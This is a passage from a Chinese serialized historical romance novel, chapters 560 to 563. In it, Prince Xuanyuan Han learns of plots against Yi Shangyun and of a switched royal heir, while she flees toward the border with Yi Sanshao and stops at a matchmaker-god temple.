“衣府……”程良见主子的情况并不好,支支吾吾地似是想要隐瞒些什么。 只道:“殿下还是先顾好自己的身子吧,属下跟随殿下征战多年,也从未见过殿下如此虚弱。” 轩辕翰怎会不知程良此乃有意叉开话题,一急之下,重重地咳了起来,并吃力地呵斥道:“还不快说,衣府到底发生了什么?” 程良一见,忙上前过去搭手将其扶起身来下榻,道:“殿下当心身子,衣府那边倒是并没有什么动静,只是……只是……” “只是什么?”轩辕翰急着追问。 “刚刚从宫里传来的消息,说……”程良着实对这个消息太吃惊了,只怕主子会接受不了。 “消息说什么?”轩辕翰再一次追问。 “宫里传来的消息……说……说……” 犹犹豫豫中,程良心一横,终是脱口说出:“皇上终究还是发觉了我们的计划。已经派人在边境外埋伏,只要等到衣姑娘一家人一出西秦的边境,便会……会……” 轩辕翰对此着实惊谔极了,瞪大了眼睛看着程良。 程良道:“只要衣姑娘一出西秦的边境,便会杀了她。再对外声称衣姑娘是遭到了南安国匪贼的袭击,死在了南安国,以此来挑起东宁和南安的战乱。到时,再由殿下去坐收渔翁之利。” “怕只怕,皇兄的谋划不止如此简单。”轩辕翰听了,甚觉意味深长地说。 “殿下,如此一来,便是我们亲手将衣姑娘送上了不归之路,现在我们该怎么办?”程良着急地道。 “终究,这一切,果然还是逃不过皇兄的眼睛。”轩辕翰幽幽道。 “殿下此话为何意?”程良有些不明白了。 轩辕翰拿起书案上的一封密折递给程良,道:“你速去按照本王的计划安排下去,全力保护云儿的安全。” 程良接过将其打开来一看,顿时展颜,再次打起精神来领命。 “殿下英明,属下遵命,属下这就下去安排,一定护衣姑娘周全。” 第五百六十章:月老庙避雨 “咳咳咳……” 程良刚一转身,轩辕翰忍不住又再次重重地咳了起来。 听到轩辕翰沉沉的咳声,程良的心也不由得随之揪了一下。 忽然想起了什么,遂顿足停了下来转身。 只见他从身上掏出一封信来上前递到轩辕翰的手里:“对了,今日一大早收到了西秦学院的紧急要函,属下差点儿忘了呈给殿下。” “西秦学院?”轩辕翰望着程良的眼睛,愣了一下。 许多年以来,为了避嫌,西秦学院若是没有重大事件,向来不会轻易书信给他。 轩辕翰一边若有所思着,伸手将其接过打开。 但见所谓的密函书信,字里行间,不过寥寥数字:“水落石现。” 轩辕翰却是将目光一落在上面,霎时瞪大了眼睛。 看完即刻吩咐道:“速速备马,立刻随本王前往西秦学院。” 程良想了想,见这主子一脸凝重,不禁惊问道:“西秦学院忽然来信,殿下如此着急,可是多年所查之事已有了眉目?” 轩辕翰没有说话,只将两道眉头深深锁起,眸子里尽是寒光四射。 在西秦国南部边境处,通往南安国有一必经之路——胭脂江。 因其处于风景秀丽的大峡谷之中,山岗上的岩石里夹杂着紫红,犹如少女的胭脂一般,胭脂江之名便由此而来。 大江两岸怪石高悬,绝壁危岩,竟有一条巨石横跨于两岸,世人称之为“天门”,颇为壮观。 关于胭脂江,民间俗语有云:“八百里江水悠悠,遥不见天之尽头……” 仿佛一入了天门,顺江而下,便是一去再也不得复返。 好不容易,终于使衣上云下定决心愿意往南安国去,易三少自是一刻都不想在西秦多做停留,只怕夜长梦多,再生出什么变数来。 于是,在其与轩辕翰最后见了一面之后,,经过了连夜马不停蹄的赶路,终于在天亮之前,俩人抵达了此处。 易三少一步跨下马来,便步履轻快地过去亲自伸手替其掀开了马车的车帘。 却见衣上云不知何时早已哭的通红的眼睛,他一猜便知定是因为轩辕翰的缘故。 尽管如此,但他相信,只要带她离开了西秦,他一定能让她慢慢忘记这一切。 故只在心里顿了一下,随后即刻重新扬起一抹笑容来朝其伸过手去,道:“丫头,到了。” 一路上,衣上云独自坐在马车内回想了过去的许多事,终是情不自禁地泪眼婆娑,彻夜未眠。 闻声遂止住了自己的无边思绪,紧了紧身上的一袭粉色披风,起身在易三少的搀扶下下了马车。 当她一看到眼前正身处的大峡谷内着实令人惊叹不已的鸟语花香,彩蝶翩翩起舞之景。 还有那正一层一层地涌起,奋力拍打着岸边礁石的涛涛江水,那驾在江两岸岩壁之上的雄伟天门,她整个人瞬间惊呆了。 果然,在大自然的鬼斧神工面前,世人的儿女情长都会立刻只显得是那般的黯然失色,微不足道。 “所有的对对错错,或许真的是时候该放下了!当让一切尘归尘,土归土,放了他,更是放了我自己。” 衣上云心中忽觉明朗开阔,望着眼前的一切,在心里默默地道。 这时,易三少缓缓上前来立到她身旁,亦望着眼前同样的风景,说:“过了天门,顺江而下,很快便就会到达南安境内。我们在这里稍作歇息,待会儿与你父亲汇合后,我们便一起离开西秦,此生,再也不回来了。” 闻声,衣上云转头惊看向易三少的侧脸,道:“父亲?” “你与秦王,乃是太后赐婚。抗旨之罪,衣府上下自是承担不起的,所以……”易三少欲言又止道。 衣上云想了想,一边默默收回视线,一边失神难过地道:“没想到……到了……终是我连累了整个衣府,连累了所有人。” 易三少不以为然,一想到衣上云过去所受的种种委屈与伤痛,便愤愤不平激动地看向她道:“这又如何能怪得了你?要怪也只能怪那秦王轩辕翰,若不是他一味苦苦纠缠于你,你又怎会受伤至此?!” 听着易三少的愤怒,泪水划过脸庞,衣上云低低道:“不,说到底,这也不能完全怪他。情不知所起,一往而深。情不知所终,一往而殆。况且,若不是我几次三番口口声声称这孩子与他无关……” 顿了顿,继续道:“他也不会误会,那个孩子便也不会……终究……是我没能护好他,我没有资格做一个母亲,都是我的错。” 说着,她默默低头,伸手抚向自己如今已然空空的腹部,只觉自己内心里肝肠寸断。 看到衣上云至今依旧对失去那个孩子伤心自责不已,易三少的心里又能好到哪里去? 此刻,他的脑海里竟然有些冲动,很想将事实真相告诉她。 或许,她了解了真相后,便就不会这么自责了。 毕竟这件事自始至终,她都被蒙在鼓里。 轩辕翰的决定,无疑都是为了她好,如果换作是自己,他也会是同样的选择。 可这却唯独不是衣上云自己的选择。 她是那样的善良,又岂会伤害自己的骨肉? 然在自己深爱的人面前,谁又没有一点儿私心呢? 如果她一旦知道了事实真相是轩辕翰忍痛割爱,宁愿舍弃自己来之不易的骨血,也只一心为了保全她,不想她有任何哪怕是一丝丝的危险,她一定会义无反顾地回到他的身边。 那如今自己所做的一切,就都白费了。 “对不起,丫头,原谅我的私心!” 最后,他还是将到了嘴边的话全都噎了回去。 只化为一句试探亦或最后的确认:“丫头,你确定……真的要随我离开西秦吗?” 衣上云想了想,道:“原本孩子就是我活下去的唯一理由,如今他已然没了,与他走至今日,断然不可能再去面对他。说真的,就在刚刚之前,我经常甚至连死的心都有。可现在,得知因为我,还累及了整个衣府,事已至此,我总得继续活下去好赎罪,不是吗?既然要活着,离开,已然是我唯一的选择。” 话一说完,两人遂四目相对视在一起。 易三少眼里对她尽是心疼。 就在这时,天空忽然飘起了蒙蒙细雨。 易三少忙回过神来,催促道:“下雨了,快上车!你的身子刚刚好了一些,尚还未恢复,断然再淋不得雨。” 说着,朝周围急急观望了一圈,道:“我知道这附近有一个地方,我带你去那避避雨吧,快走快走!” 说着,便一把拉起她的手驱车离开。 不料路上雨越下越大,很快,马车便在一座看似祠堂的门口停了下来。 衣上云下车抬头一看,见门匾上着着醒目的字迹:“月老庙”。 门联题的是:“前世注定今生缘,今生修得来世姻。” 跨进大门,走进一座并无多大的院子。然奇怪的是,明明门外就在下雨,院子里却并无任何雨丝。 院里有一棵硕大苍老的古树,那古树竟是由极为罕见的好几柱枝干合生在一起的连理枝。 树上挂满了无数以红绳相系,用来许愿祈求姻缘的祈福牌。 衣上云沿着走廊一边徐徐走着,一边朝四处观望。 “听人说,这里的月老最是灵验无比,只要其被谁打动,便会用他的囊中红绳把这对男女之足系在一起,如此即使经历仇敌之怨,贵贱悬隔,天涯从宦,吴楚异乡等折磨,也会化解一切最终成为夫妻。” 易三少脚步默默的跟在其身后,双手附后着一边走,一边说。 “每逢七月初七,这里便是人山人海,人挤人,都是来此渴望求得一份好姻缘的。到了那时,还愿的喜饼迭得跟山一样高,院子里的香火旺盛极了。甚至有些情侣,就是在庙前撞到一起的好姻缘。” 说着,两人便一道来到了庙宇正殿。 一入门,便看到神君高高在上,微笑着面对着芸芸众生。 不知为何,衣上云看着这一切,心情忽觉平静了许多,甚至连数日以来深深皱起的眉头也第一次渐渐舒展开来。 见此,易三少深感欣慰极了。 于是先一步跨门而入,走到殿内一侧,拿起案上的笔来,回头看了衣上云一眼。 接着满脸欣喜和温柔地落笔写下了:“得一人心,白首不弃。” 写完,便将其神秘地藏在了自己宽大的袖兜里。 遂回去将衣上云也拉了过来,亲手将笔塞到其手中:“你也写一个吧!” 此时此刻,此情此景。 衣上云实在不知自己该写些什么,然推辞了许久,易三少始终都不愿饶了她。 无奈之下,衣上云提笔书下:“吾愿:岁月静好!” 这时,易三少提议:“让我们亲手将自己写下的祈愿牌也挂上去吧?” 衣上云实在没有心思,就在她犹豫之间,便被易三少强拉着跑出了殿门。 挂好了祈愿牌,怎料易三少再次折回到殿内。 这一刻,仿佛时间刚刚好。 他忽然上前去撩起袍角在神君面前跪了下来,态度从未如此认真。 他郑重其事地道:“神君大人在上,我易三少在此起誓…… 第五百六十一章:山中遇老人 易三少郑重其事地行礼,道:“神君大人在上,我……易君浩在此起誓,南风相约,花期不误。吾愿穷极一生,竭尽所能让丫头忘记以前所有伤痛。余生,唯有幸福与快乐。此生与她一心、两人、三餐、四季,年年岁岁永不相负。若违此誓,便让我一生所求皆不可得。” 就在这一刻,衣上云怔怔地望着他的背影一动不动。 “此情此景……可为什么却是他?” “四季花开皆有时,唯却归期无人问,花落堆满地。来年若是重开时,此花还似彼花,然此情……却非彼意!” 她黯然悲伤,心里默默地道。 不知不觉间,泪水早已噙满了眼眶,默默打转了许久,终究还是不争气地如同断了线的珠子一样,一颗颗滑落而下。 易三少起身走到她的身旁,替其将泪水轻轻拭去,复又用一双骨节分明的大手将她的身子转了过来面向自己,紧握住她的肩头。 眼神温柔又尤为认真地看着她的眼睛,柔声说:“丫头,相信我,我一定会做到,此生绝不会让你再受到任何伤害,哪怕只是一丝一毫,都不会。” 衣上云抬头对视着他那双满是真挚而迷人的眼睛,鼻子忽然一酸,眼泪再也止不住的流了起来。 “眼前的这个男人,明明天生就是一副生性潇洒不羁,惯不被约束的存在。却唯独待我总是那样温柔体贴,如此百般地好。他尊贵的身份和地位,明明,这应该便就是世间所有女子皆都会认为很不错的良人选择。可是一次次,我到底在犹豫什么?” 她的心里着实感动之至,可却在最终清醒之后还是泪眼汪汪地拒绝了他。 “三少,对不起,我不能,我不值得你这样待我。” 说完,便扭头转身一边抹泪,一边逃跑了出去。 雨过天青。 峡谷里,到处飘散着初夏的暖风,尽是裹挟着江河草木清香的味道。 流水潺潺,与山为伴。 蜜蜂与彩蝶,再一次飞出巢穴,开始了各自在花间辛劳的忙碌。 眼前所有,一种俨然与众不同富有灵动的醇美气息。 这里的一切,仿佛从未被人打扰过一般,是那样的安静、祥和。 仿佛每一个生命的出现,都是恰好。 衣上云从月老庙逃出来后,漫无目的地走在一条山间的小路上。 事实上,他至今根本都不知道自己该如何去恨轩辕翰。 却是清晰地不能再清晰地知道,自己断不能接受易三少。 这对易三少很不公平,也非自己本意。 她不知道自己为什么会变成现在这样,变得如此这般的犹豫不决,让自己一次又一次陷入进退两难之间。 她本以为与轩辕翰的最后一次见面后,自己是时候卸下所有软肋全身而退,可以孑然一身地离开西秦,也远离东宁。 天大地大,去哪里都好,寻一隅栖身之地,无一相识的人,做什么都行…… 可现在,却得知因为自己而连累了整个衣府,于是又添羁绊。 这一生,这一世,仿佛永远都不可能再由着自己的内心去活了。 想着想着,恍恍惚惚间,忽然似是听到周围有人在发出断断续续,且极为孱弱的呼救声:“救命,救命……” 于是,她缓缓回过神来,抹了抹脸庞的泪水,左顾右盼起来。 这才发现前面不远处有一片小树林,那求救声隐隐约约似就是从那边传出来的。 于是,便加快了脚下的步伐,急急循声探去,一边寻觅,一边呐喊: “有人吗?” “有没有人?” …… 伴随着自己所听到的求救声距离自己愈来愈近,终于在树林里的一个小土坡下的溪边岩石旁发现了一位倒地的花甲老人。 于是,她急急朝其奔了过去,蹲身将其扶起来背靠在一大岩石上,询问道:“老伯,你这是怎么了?怎么会一个人倒在这里?” 老人脸上表情痛苦异常,只奄奄一息地指向自己的一条腿,吃力极了地道:“姑娘,帮帮我,我的腿……” “腿……腿可是哪里受了伤?” 衣上云心急如焚,急急替其检查起腿部。 一掀开裤腿,才见老人的小腿现出一大片又红又肿胀的皮肤来。 衣上云略一思考,顿惊看向老人的脸,询问道:“难道是……百足虫?” 眼看着老人弱弱地点头,此时也已经出现身体乏力,甚至已有些抽搐的现象。 再见这里四处无人,怕是已经中毒求援许久了。 见其中毒至深,如果再不及时施救,怕是就性命难保了。 显然,她此时寻不到其他可以用来吸毒的工具。 情况危急来不及再多做思考,她深吸了口气后便忙俯身下去用嘴替其吸起毒来。 …… 时间一分一秒的过去。 终于,那大片红肿开始慢慢消退了起来。 又过了一会儿。 迷迷糊糊中的老人,也已经开始渐渐睁开眼睛,重新恢复了意识。 他流着泪,泣不成声地道:“姑娘,使不得,这万万使不得呀。这峡谷里的百足虫奇毒无比,我老汉命不值钱,可姑娘你年纪轻轻,若是因此中了毒,你我素不相识,这让老汉如何是好啊?” 然衣上云却一句话都没有说,只自顾着低头替其认真排毒。 老人感动地直落泪不止。 不知过了多久,衣上云终于在吐掉最后一口污血后停了下来。 再次认真替其检查了一下伤口,露出笑容来道:“好了,应该已经无碍了。” 老人见她终于停下,忙关切地问:“姑娘,你没事吧?” “没事,放心吧,老伯。”衣上云安慰其道。 老人心里实在过意不去,依旧道:“姑娘啊,你这……姑娘的救命之恩,大恩大德,让我老汉如何报答你呢?” “老伯快别这样说,不过是举手之劳,老伯就不必放在心上了。” 衣上云说着,起身朝身旁的杂草丛里走了过去。 很快,她再次返回来一边将一些草药捣烂,一边解释道:“把这些蒲公英捣烂后外敷,有清热解毒的功效,有助于帮老伯您清除伤口里残留的毒素。” “今日真是幸亏遇到姑娘了,否则,老汉我怕是就要曝尸这荒郊野外了……” 老人说着,又一次情不自禁地默默落起了泪来。 衣上云撕下自己的裙摆一角来,一边替其敷药包扎,笑着安慰他:“老伯您福大命大着呢,可不敢再说这些不吉利的话。” 老人看着她的脸,深深被其善良打动,已然不知道该说什么才好了。 衣上云替其包扎好伤口,见他行动不便,便道:“老伯,您家住在哪里,我送您回去吧!” 老人想想,确实自己这情况眼下也独自回不了家,便答应道:“如此,那就有劳姑娘了。” 于是,在衣上云的搀扶下,俩人沿着溪边,一道踏上了归途。 走走停停大约半个时辰不到,刚拐了个弯不久,老人忽然停下了脚步,指向前方的石门:“衣姑娘,前面就到了。” 衣上云往前望去,这才惊讶地发现原来老人住的地方是自己曾经来过的地方。 难怪一路上,自己隐隐约约总觉得此地有些熟悉。 于是,她惊讶地道:“原来老伯您是西秦学院的?” 老人吃惊地道:“衣姑娘也知道西秦学院?” 衣上云点了点头。 老人便邀请她,道:“既然是到了故地,衣姑娘便应同老汉一道进去瞧一瞧才是!” 衣上云望着眼前熟悉的一切,忽然想起了上次与轩辕玥来时的情景。 那时,她们在宫中刚认识不久,却也都是最单纯的时候。 那日,天气很好,马蹄声响起,笑声不断…… “衣姑娘……衣姑娘……” 忽然,一阵呼唤声将她从思绪里拉了回来。 老人惊问道:“衣姑娘好端端地怎么哭了?” 衣上云赶忙拭去眼泪,解释道:“没什么,我只是……只是一时想起了一位故人。” 老人问:“衣姑娘的那位故人,莫非是在学院里?如此,为何不进去见上一见,叙叙旧?” 衣上云隐忍着思念,道:“不……那位故人,她现在……并不在学院里,她现在千里之外。或许,这一生,再也见不着了。” 老人叹了口气,安慰她道:“物是人非,亦是极平常的世间常态,姑娘也不要太难过了。俩个人,若是真有缘份,即便是天涯海角,也一定还会再见的。” 人生若只如初见……可若知会有今日,倒不如不要遇见…… 终究,衣上云的泪水还是不听使唤地再一次溢满了眼眶。 一时间,不知道该如何隐藏,忽然想起了轩辕翰曾经教过自己:“难过,就抬头看看天空。” 于是,她鬼使神差地赶忙高高抬起头来,想着将泪水全部倒回去,怎料一想起轩辕翰来,泪水便再也难以隐藏。 于是,她急急开口告辞:“既然老伯已经安全到家了,那云儿就此别过,老伯保重,后会有期!” 老人还想再说些什么,怎料衣上云却似一溜烟似的溜走了去,在拐了个弯后,便再也不见了身影。 望着其突然消失不见的背影,老人无奈,却又心里忽然纳闷起来:“这姑娘,怎么看起来有些眼熟,像是在哪里见过一般?” “嗒嗒……嗒嗒……” 就在这时,一阵紧急的马蹄声传来,打乱了老人的思绪…… 第五百六十二章:太后与惠娘 “这姑娘,怎么看起来有些眼熟,像是在哪里见过一般?” “嗒嗒……嗒嗒……” 就在这时,一阵紧急的马蹄声传来,打乱了老人的思绪。 衣上云前脚刚刚离开,轩辕翰与程良主仆两人策马则从另一条路上风尘仆仆地抵达西秦学院门口。 望着眼前来人俨然一副尊贵不凡的气质,老人沉声自言自语道:“秦王轩辕翰!他来这里做什么?” 正要跟上前去一探究竟,忽然从身后传出一熟悉的声音:“寿伯……” 老人顿足停下,回头一看,惊声道:“少主,你怎么来了?” 俩人随即一道走开了很远,来到上次见面时候那座同样的凉亭,确认周边确实是安全的,不会被人发现。 龙恩方才小心翼翼地拿出一副画卷来,在俩人面前的石案上缓缓展开,问:“此次前来,我是想问寿伯,您确定这画像当真是西秦守护者画像吗?为何我至今都找不到有关此人的任何蛛丝马迹呢?” 老人复将画卷仔细检查了一番,肯定极了地道:“这的确是宫里派人送来的由陆贤亲手恢复的西秦守护者画像,千真万确!” 龙恩看着画中女子,纳闷地说:“这画像上的女子虽亦算是面容姣好,可却少了几分气质!听闻西秦守护者后人眉眼之间气质超凡脱俗、甚至有些似仙气飘飘,仿佛不是人间烟火所生一般。难道,是这画像本身有问题?” 听着龙恩所说,老人这才亦将自己的目光落在了画上女子的脸,朝其端详了起来。 却是怎么看,这女子的眼睛都有些像是陆贤之女,陆天骄呢? “这不可能呀!”老人心里默默地道。 对于陆家,这些年,他了解颇深。 俩人一同看着看着,龙恩忽然似是想起了什么。 “眉眼之间……”只见他一边自言自语着,一边伸出一只手去,遮住了画像上女子的双眸。 就在这时,寿伯忽然记起曾经在宫里听到有人说守护者拥有一双世间极美的凤眼。 遂心里惊了一下,甚至就连自己都有些不敢相信:“是她!” 龙恩移动目光,惊看向老人的脸,道:“寿伯,莫非你识得……” 老人此刻简直不敢相信自己的眼睛,嘴里只喃喃细语:“难道是那位姑娘,这画……定是在送入宫中前便被人动过手脚了……” 想起方才轩辕翰忽然来到此地,再想想朝中局势。 老人似乎愈来愈确定自己的判断,继而紧忙挪步离开凉亭,边走边道:“我知道她现在哪里……少主快点随我走,不然怕是就来不及了!” 龙恩急急收起画卷,追随老人走出了凉亭。 老人一个疾步,一时间竟忘了自己这次真的是有伤在身,便吃痛地伸手去拉了拉自己的腿。 龙恩方才发现他的不对劲,于是上前将其扶住问:“寿伯,你的腿怎么了……” 老人道:“无碍,无碍。” 俩人遂急急朝着衣上云方才离开的方向追了上去。 一听闻轩辕翰已经到达的消息。 陆贤与陆天麟父子俩一道脚步匆匆地朝着前厅里赶去拜见。 刚一跨进门槛,看到那双手附后正背对着俩人,却是一副熟悉的不能再熟悉的与生俱来尊贵不凡,不怒自威的背影,俩人顿时面面相觑对视了一眼。 便紧忙上去朝其俯首跪拜齐声道:“拜见秦王殿下,千岁,千岁,千千岁!” 闻声,轩辕翰回过头来,依旧一副平日里冰冷的声音道:“都起来吧。” 这时,程良开口问道:“殿下一收到陆院长的信,便就快马加鞭赶过来了,可是多年所查之事已经有了眉目?” 闻声,岂料陆贤父子俩忽地又再一次跪倒在地:“老夫有罪,没能教好小女,致使其犯下滔天大罪,请殿下责罚。但请殿下还看在小女年幼,方才不慎遭人利用的份上,饶过小女一命。” 陆天麟亦低头道:“请殿下恕罪,饶了舍妹,天麟愿替其承受所有罪责!” “陆院长?您这是……天骄小姐?她怎么了?”程良见此,望着俩人一脸惊讶地道。 轩辕翰亦是一脸疑惑,眉头锁起对着陆贤道:“陆贤,这到底是怎么回事?” 陆贤趴在地上,几乎贴着冰冷的地板,头不敢起半分来,道:“启禀殿下,当年在城南城隍庙里半夜太妃娘娘遭人纵火的事,亦与天骄有关。” 若不是陆天骄将被赶出秦王府的梅汐媛带到了西秦学院,陆贤无意中听到二人谈话,这辈子,他竟不知自己的女儿对轩辕翰畸形的痴恋竟都已疯魔到了如此田地,成了这般模样。 尚未及轩辕翰开口,陆天麟又道:“天骄乃是因为打小便痴恋殿下,方才被太后有机可乘所利用,虽知她罪孽深重,可还是希望殿下能够饶恕,留她一条性命。” 一席话过后,一室寂静,静的让人害怕。 就连程良亦是立在一旁,默默不敢言语。 岂料,轩辕翰却开口说道:“这些,本王都已经知道了……” 闻声,父子俩顿时面面相觑道:“知……知道……殿下都已经知道了。” 见二人俱都一脸疑惑,轩辕翰接着道:“这些事情都已经过去了,索性母妃被人所救,并无大碍,且多年来你父子二人又对本王忠心耿耿,本王便既往不咎,全当一切未曾发生过。但望你日后能对天骄好好管束,莫再让其任性妄为,以免再铸成大错。” 闻此,俩人异口同声朝其再次跪拜:“谢殿下不杀之恩!吾等定竭尽所能助殿下一臂之力。” 这时,程良方才敢开了口:“不是吧,陆院长,殿下与我忙活了大半天,马都差点儿被累死,你信里不会就是说的这件事吧!” 陆贤想了想,道:“还有一事……” 程良见主子脸色已然有些不悦,便佯装有些生气地提高了些嗓门道:“那还不快站起来说!” 终于,二人站起了身来。 陆贤先开口道:“那年城隍庙一事后,天骄在回书院的路上带回来一个人。当时说是逃荒的难民,独自一人无亲无故,无家可归,于是便留在了书院里平日做些打杂的差事。” 顿了顿,稍作回忆,接着道:“大约半年多前,老夫有一日夜里散步,发现有人夜里私会外人,便去查看。竟发现一个书院的杂役,屋里竟藏有只供皇家御用的陈年佳酿。” 这时,陆天麟接着开了口:“此人在书院里人都称呼其……寿伯,腿脚不便。但父亲亲自替其把脉,确认他的腿,是自己封住了穴位所造成的假象,以此来博取人同情。想来,定是当时太后故意安插进学院的耳目,天骄那时年龄尚小,医术浅薄,又不懂武力,诊断不出此伎俩也是有的。” 这时,轩辕翰道:“说重点……” 父子俩遂相互对视了一眼,陆贤道:“这个寿伯,怕是已将守护者画像泄漏了出去!” 轩辕翰听闻,随即将一双冷厉的眸子射了过去:“怎么办事的?” 陆天麟忙开口解释:“不,并非殿下所想的那样。守护者画像事关重大,父亲平日里自是小心再小心,并非是从学院里泄露出去的,而是宫里……” “你是怀疑太后也在帮助皇兄寻找……” 轩辕翰话未说完,陆贤忽然乍了一句道:“只怕太后并不是为了皇上寻找守护者下落,而是为了自己的亲生儿子……” 世人皆知,太后唯有一独子,便是如今西秦国高高在上的天子……璟帝。 主仆俩人显然都听迷糊了,程良不耐烦地道:“你到底在说什么?太后的独子,不就是当今圣上吗?” “扑通”一声。 忽然,陆贤父子重重地再一次跪倒在轩辕翰的面前。 陆贤郑重严肃极了地道:“不,西秦国的真命天子,乃是秦王殿下!” “陆贤,你是不是疯了,怎会如此胡言乱语。”轩辕翰震惊地道。 陆天麟道:“当今皇上乃是太后狸猫换太子,并非太后所出。太后入宫前,名曰惠娘,仅与一乡野之间的书生生下一独子。” “你说什么?”闻此,轩辕翰惊呆了。 陆天麟又道:“秦王殿下您才是西秦国真正的真命天子啊!” 半晌后,轩辕翰方才缓缓回过神来,问:“这到底是怎么回事?” 陆贤遂将自己多年所查到的一切向其娓娓道来…… “那惠娘,她为了替丈夫讨个公道,便去找府衙理论。不料却被那县令看中其美色,于是便设计了一出戏,说能替她做主,讨回其丈夫的功名,让其在府衙内小住等待。可待其再回到家时,其夫已然离世,其子不知所踪。为了能活下去,也是为了有朝一日还能见到自己那可怜的孩子,于是便答应了以县令之女的身份入宫,贿赂了宫里验身的几位嬷嬷,就这样被献给了皇上。” 程良道:“可听闻太后入宫后,深得先皇欢心,有所出也是早晚的事。” 陆贤忧伤地道:“不,慧娘生下书生孩子的时候胎位不正,大出血,当时能够保住性命已是不易,段不可能再有生养的能力。” 一室寂静。 谁都没有料到水落石出,真相竟会是这样。 许久后,轩辕翰忽然开口打破了这片令人窒息的空气:“那如今,那个孩子,现在人在何处?” 陆贤道:“此人行踪诡秘,但宫里交待寿伯既然已将守护者画像给了他,天大地大,估计定是去寻画中人去了。” “糟了!”程良一听,忽惊声道…… 第五百六十三章:父女相聚 “糟了!” 一见主子即刻朝自己投来质疑的眼神,程良急忙解释道:“启禀殿下,那个寿伯已在学院潜藏多年,想必对天骄小姐甚是了解。他会不会……” 顿了顿,程良似乎就连自己都不敢相信自己所想,继续道:“那个寿伯既是太后的人,会不会已识破了画像中的秘密,如此一来……衣姑娘岂不是危险?” 轩辕翰稍一思量,忙追问陆贤:“那个寿伯人呢,他如今在何处?” 陆天麟略一回想,道:“有人早起看到他独自一人进了后山,至今尚还未归。” 闻声,轩辕翰顿觉心中咯噔一下,一种极不好的预感油然而生。 遂将眉头紧锁,速立起身来欲亲自前往去寻人。 而程良却是顿了顿,回忆着不以为然地道:“不是后山。” 闻声,轩辕翰将其狠狠瞪了一眼。 “方才在来时的路上,属下看到石门外有一位步履蹒跚的老人与一健硕男子朝山下去了,想必,或许就是他们主仆二人了。” 程良已然知道此刻是自己后知后觉了。 遂与陆贤、陆天麟父子俩,三人一道紧随轩辕翰跟了上去。 衣上云内心悲痛万分,几乎是一路痛哭着,一口气狂奔回到月老庙。 行至门口。 却又害怕易三少发现自己哭过,于是站在门外将泪痕小心翼翼地擦拭干净,方才提起裙摆迈步走了进去。 “三少……” “三少……” 然里里外外找了好几遍,却任她怎么找,也再找不到易三少的半点儿影子。 许是方才一路上实在是伤心难过哭累了,也跑累了,最后,她在门前的石阶上终于无力地瘫坐了下来。 一边握起拳轻锤着自己酸痛的双腿,一边不忘继续朝着门前的三岔路口遥望着,疑惑地喃喃自语道:“三少他究竟去哪儿了?” 休息了片刻后,感觉已恢复了许多,却依旧还是迟迟不见易三少归来。 天色渐晚,转眼已是夕阳西下。 又觉腹中也有些饥饿,时不时地发出阵阵咕噜咕噜的声音。 有心想要出门去寻人,却又怕自己离开后,易三少若是恰巧又回来看不到她,俩人再次错过,索性便只好在此继续等候。 不知过了多久,目光不经意地落在方才自己亲手挂上去的祈愿牌上。 于是,她缓缓起身来回到案前,忆起与轩辕翰从初相识到现在的点点滴滴。 含泪执笔写下:“桃花落,南风暖,思君不见君,君心何其难?爱满腹,恨满怀,夜夜千百转,吾身何所安?山盟蜜语,终是大梦经年,不如身归去。” 写下这段心灰意冷的字后,衣上云便失魂落魄地走出了门。 刚一出门下了台阶,忽觉眼前一黑,紧接着整个人便重重地倒在了地上,彻底失去了意识。 而另一边。 龙恩一路跟随着寿伯赶路,却是心里怎么都摸不着边际,不明所以。 于是便问:“寿伯,你究竟要带我去哪里?” 寿伯强忍着腿上传来的阵阵伤痛,一边埋头赶路,一边催促着道:“少主,咱们务必得速速赶到月老庙才行。” “月老庙……我们去那里做什么?”龙恩听了,顿足吃惊道。 寿伯解释:“少主有所不知,如果去晚了,怕是那丫头就离开西秦,我们就此这样错过了。” 龙恩疑惑不解:“月老庙……丫头……那是谁……我们又会错过什么?” “那是……”寿伯犹豫了一下。 然最后还是坚定自己一定是对的:“那丫头便是少主心心念念的人,不仅是少主您,她是乃至整片灵空大陆都在争夺的拥有神秘力量的西秦守护者后人啊!” “你说什么?” 闻声,龙恩整个人瞬间惊呆了。 “少主,少主……”寿伯在其耳畔唤了许久,方才将其唤醒过来。 于是紧忙解释道:“这个陆贤实属狡猾,竟敢欺君罔上,私自修改画像,幸亏老奴及时识破其奸计。” 看到龙恩始终一脸疑惑,寿伯道:“少主有所不知,那丫头在西秦似乎经历了太多伤心难过的事情,方才说今夜要乘舟离开西秦,再也不回来了。当务之急,我们必须将其拦下,否则,怕是就再也难得此良机了。” “如此重要的事,为何不早说?” 龙恩说着,一把捉住寿伯的胳膊,驾起轻功来。 然待二人到了月老庙后,却并没有如愿看到衣上云的身影。 寿伯满心疑惑地道:“那丫头的确是说在此处歇脚啊,怎么会没有呢?” “难道是已经提前离开了?”龙恩里里外外找了一圈后,来到寿伯的身旁道。 寿伯仔细想了想,说:“那丫头不像是言而无信之人,我们再等等,许是有什么事出去了也不一定。” 一时间,龙恩也似没有其他更好的办法。 如今唯一见过其本人的也就唯独寿伯自己,便只能与其一起在此稍等片刻。 环顾殿内四周,龙恩忽然瞥到案上似有些字迹,便走过去一看。 “这字迹隽秀,显然是女子所书,上面的墨迹也尚还未干透,定是刚书不久。可这字,为何看起来有些眼熟。” 龙恩心里思量着,遂拿起一看,却先惊叫了一声:“不好!” 寿伯闻声,上前来一看,俩人顿时面面相觑,一道急急出了门。 追寻着雨后山路上所留下的痕迹,轩辕翰一行人等亦终于寻到了月老庙。 此时,天已经完全黑了下来,不想衣上云却已然并不在此处。 轩辕翰身姿挺拔,不怒自威地肃立在殿前,抬头望着高高在上的月老神君像。 其余等人则在里里外外依旧忙碌着,想要寻找出些蛛丝马迹。 程良忽在案下一隐蔽处看到了被龙恩离开时不小心落下的衣上云方才留下的字,拾起来一看,却是瞬间被其惊呆了。 一回过神,便过去将其急急交到了主子手里:“殿下,衣姑娘果然来过。” 轩辕翰一见到那熟悉的字迹,顿惊的瞪大了眼睛。 却瞬间似是连站都站不住了,遂踉踉跄跄着后退了两步。 “殿下!”程良一见,忙上前伸手将其扶住。 并安慰其:“衣姑娘向来坚强勇敢,一定不会有此轻生的念头。” 轩辕翰显然心慌极了:“都是本王的错,早知她会如此伤心难过,本王就不该瞒着她这一切。” 程良道:“殿下也是为了衣姑娘好。” 轩辕翰自责极了:“可或许,只有本王自己这般认为而已。” 程良心里轻叹了一声:“事到如今,现在我们该怎么办?” 轩辕翰毫不犹豫,坚定地道:“给本王找,就算是掘地三尺,亦要将她给本王找出来。” “是!”程良领命,速下去调集人马安排。 